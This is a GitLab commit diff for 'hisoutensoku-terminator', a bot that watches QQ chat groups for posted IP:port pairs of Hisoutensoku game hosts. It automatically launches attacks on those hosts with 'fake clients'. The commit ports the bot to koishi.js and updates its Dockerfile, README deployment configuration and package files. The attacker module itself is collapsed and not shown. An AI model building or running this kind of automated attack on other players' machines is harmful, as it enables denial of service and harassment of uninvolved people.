Commit be12e428 authored by nanahira's avatar nanahira

rewrite with koishi.js

parent 877d1308
......@@ -103,10 +103,11 @@ dist
# TernJS port file
.tern-port
/*.js
/config.yaml
/*.txt
/build
/output
.git*
.dockerignore
.gitignore
Dockerfile
.gitlab-ci.yml
/config.yaml
......@@ -103,7 +103,6 @@ dist
# TernJS port file
.tern-port
/*.js
/build
/output
/config.yaml
/*.txt
/*.js.map
FROM node:buster-slim
RUN npm -g install typescript
RUN apt update && \
apt -y install build-essential python3 && \
rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
RUN apt update && apt -y install python3 build-essential && rm -rf /var/lib/apt/lists/*
WORKDIR /usr/src/app
COPY package*.json ./
COPY ./package*.json ./
RUN npm ci
COPY . ./
RUN npm run build
CMD ["npm", "run", "start"]
This diff is collapsed.
......@@ -20,8 +20,11 @@ This project may possibly be working only with Hisoutensoku ver 1.10a. Versions
```yaml
coolq: # CoolQ config. The docker-compose config below meets this configuration.
host: coolq
qq: 1111111111 # Your QQ account here
type: ws
server: coolq
selfId: 1111111111 # Your QQ account here
token: qweqwe
secret: asdasd
attackTimeout: 10000 # The timeout the fake clients would wait for connection.
floodQQGroups: # Target QQ groups
- 111111111
......@@ -42,6 +45,8 @@ services:
environment:
UIN: 1111111111 # Your QQ account here
PASS: aaaaaaaaa # Your QQ password here
ACCESS_TOKEN: qweqwe
SECRET: asdasd
terminator:
restart: always
image: nanahira/hisoutensoku-terminator
......
This diff is collapsed.
......@@ -4,8 +4,8 @@
"description": "I hate hisoutensoku",
"main": "run.js",
"scripts": {
"build": "tsc",
"start": "node run.js"
"build": "./node_modules/.bin/tsc",
"start": "node build/run.js"
},
"repository": {
"type": "git",
......@@ -28,7 +28,7 @@
"@types/underscore": "^1.10.0",
"@types/yaml": "^1.9.7",
"bunyan": "^1.8.12",
"cq-websocket": "^2.1.1",
"koishi": "^1.12.0",
"moment": "^2.26.0",
"udp-proxy": "^1.2.0",
"underscore": "^1.10.2",
......
......@@ -6,18 +6,12 @@ import yaml from "yaml";
import { spawn } from "child_process";
import { Attacker } from "./attacker";
import moment from "moment";
interface CoolQConfig {
host: string;
port: number;
qq: number;
accessToken: string;
}
import {AppConfig, App, Meta} from "koishi";
interface Config {
address: string;
port: number;
coolq: CoolQConfig;
coolq: AppConfig;
floodQQGroups: Array<number>;
attackTimeout: number;
addressWhitelist: string[];
......@@ -27,13 +21,7 @@ const log = bunyan.createLogger({
name: "hisoutensoku-terminator"
});
let CoolQ: CQWebSocket, config: Config;
function sleep(time: number): Promise<void> {
return new Promise((resolve, reject) => {
setTimeout(resolve, time);
});
};
let app: App, config: Config;
async function startAttack(address: string, port: number): Promise<boolean> {
if (_.contains(config.addressWhitelist, address)) {
......@@ -60,11 +48,7 @@ async function startAttack(address: string, port: number): Promise<boolean> {
return true;
}
async function messageHandler(event: CQEvent, data: any, tags: CQTag[]): Promise<void> {
const groupID: number = data.group_id;
if (!groupID || !_.contains(config.floodQQGroups, groupID)) {
return;
}
async function messageHandler(data: Meta<"message">): Promise<void> {
const messageMatch: RegExpMatchArray = data.message.match(/(\d{1,3}([\.: \uff1a]\d{1,3}){3})[\.: \uff1a]+(\d{4,5})/g);
if (!messageMatch) {
return;
......@@ -75,25 +59,13 @@ async function messageHandler(event: CQEvent, data: any, tags: CQTag[]): Promise
const port = parseInt(patternArray[patternArray.length - 1]);
return startAttack(address, port);
});
const results: boolean[] = await Promise.all(attackPromises);
const results: boolean[] = await Promise.all(attackPromises);
}
async function main(): Promise<void> {
config = yaml.parse(await fs.promises.readFile("./config.yaml", "utf8")) as Config;
CoolQ = new CQWebSocket(config.coolq);
CoolQ.on("ready", async () => {
log.info("bot init finished.");
});
CoolQ.on("error", async (err) => {
log.warn("bot error", err.toString());
});
CoolQ.on("socket.error", async (err) => {
log.warn("bot socket error", err.toString());
});
CoolQ.on("socket.close", async (err) => {
log.warn("bot socket close", err.toString());
});
CoolQ.on("message", messageHandler);
CoolQ.connect();
app = new App(config.coolq);
app.group(...config.floodQQGroups).receiver.on("message", messageHandler);
await app.start();
}
main();
{
"compilerOptions": {
"outDir": "build",
"module": "commonjs",
"target": "esnext",
"esModuleInterop": true,
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment